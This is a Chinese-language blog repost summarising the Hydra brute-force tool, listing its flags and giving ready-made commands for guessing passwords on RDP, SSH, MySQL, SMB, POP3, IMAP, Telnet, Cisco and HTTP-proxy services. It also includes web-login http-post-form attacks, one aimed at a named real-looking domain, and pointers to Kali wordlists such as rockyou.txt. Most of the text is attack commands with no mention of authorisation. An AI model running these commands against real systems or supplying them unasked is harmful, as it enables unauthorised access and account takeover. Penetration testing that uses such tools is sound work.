暴力破解工具-hydra命令总结

转载:http://www.luxinzhi.com/safe/438.html

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

命令参数:

-R:继续从上一次进度接着破解
-S:大写,采用SSL链接
-s :小写,可通过这个参数指定非默认端口
-l :指定破解的用户,对特定用户破解
-L :指定用户名字典
-p :小写,指定密码破解,少用,一般是采用密码字典
-P :大写,指定密码字典
-e :可选选项,n:空密码试探,s:使用指定用户和密码试探
-C :使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M :指定目标列表文件一行一条
-o :指定结果输出文件
-f:在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t :同时运行的线程数,默认为16
-w :设置最大超时的时间,单位秒,默认是30s
-v / -V:显示详细过程
-o 可导出文件
server:目标ip

常用协议暴力破解参数格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
破解rdp(3389):
# hydra -l administrator -P password.txt -V IP rdp
破解mysql:
# hydra ip -L 用户名 -P pass.txt -V mysql
破解ssh:
# hydra -L user.txt -P password.txt -e ns -vV IP ssh
破解https:
# hydra -m /index.php -l muts -P pass.txt IP https
破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt IP cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://IP
破解imap:
# hydra -L user.txt -p imap://ip PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
破解telnet
# hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

补充:

post方式提交,破解web登录:该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。

带参数破解如下:

1
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f www.superl.org http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido”

说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,www.superl.org是网站域名,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。

  1. 域名前面不需要加http:// When using hydra, it’s not required to put http:// before the host that you’re going to attack.
  2. 需指定端口,用-s参数 To specify the port, please use the -s flag.
  3. post请求,需要制定服务器目标文件地址如:In the POST request you have to specify the file that is going to receive the POST request (e.g. index.php, password.php, validate.php, etc.)
  4. 最后需要指定正确或者错误情况下的输出信息 And last, but not least, you have to specify the Success case or the Fail case.
1
hydra -l info@test.com -P rockyou.txt  -o ~/ok.lst -f site.test.lab -s 8080 http-post-form "/email/_task=login:_token=ON3n2HxDuhlMfViOmuB8fE2H5CGTd1aQ&_task=login&_action=login&_timezone=Asia%2FShanghai&_url=_task%3Dlogin&_user=^USER^&_pass=^PASS^:InvaildPassword"

其他:

关于字典:在kali里,是默认自带了字典的,分别放在下面三个文件中:

1
2
3
4
5
/usr/share/wordlist #常用下面的rockyou.txt

/usr/share/wfuzz/wordlist

/usr/share/seclists

或者利用kali自带的crunch生成字典。

关于暴力破解的扩展:https://securixy.kz/hack-faq/brute-force-vstroennymi-sredstvami-kali-linux.html/

坚持原创技术分享,您的支持将鼓励我继续创作!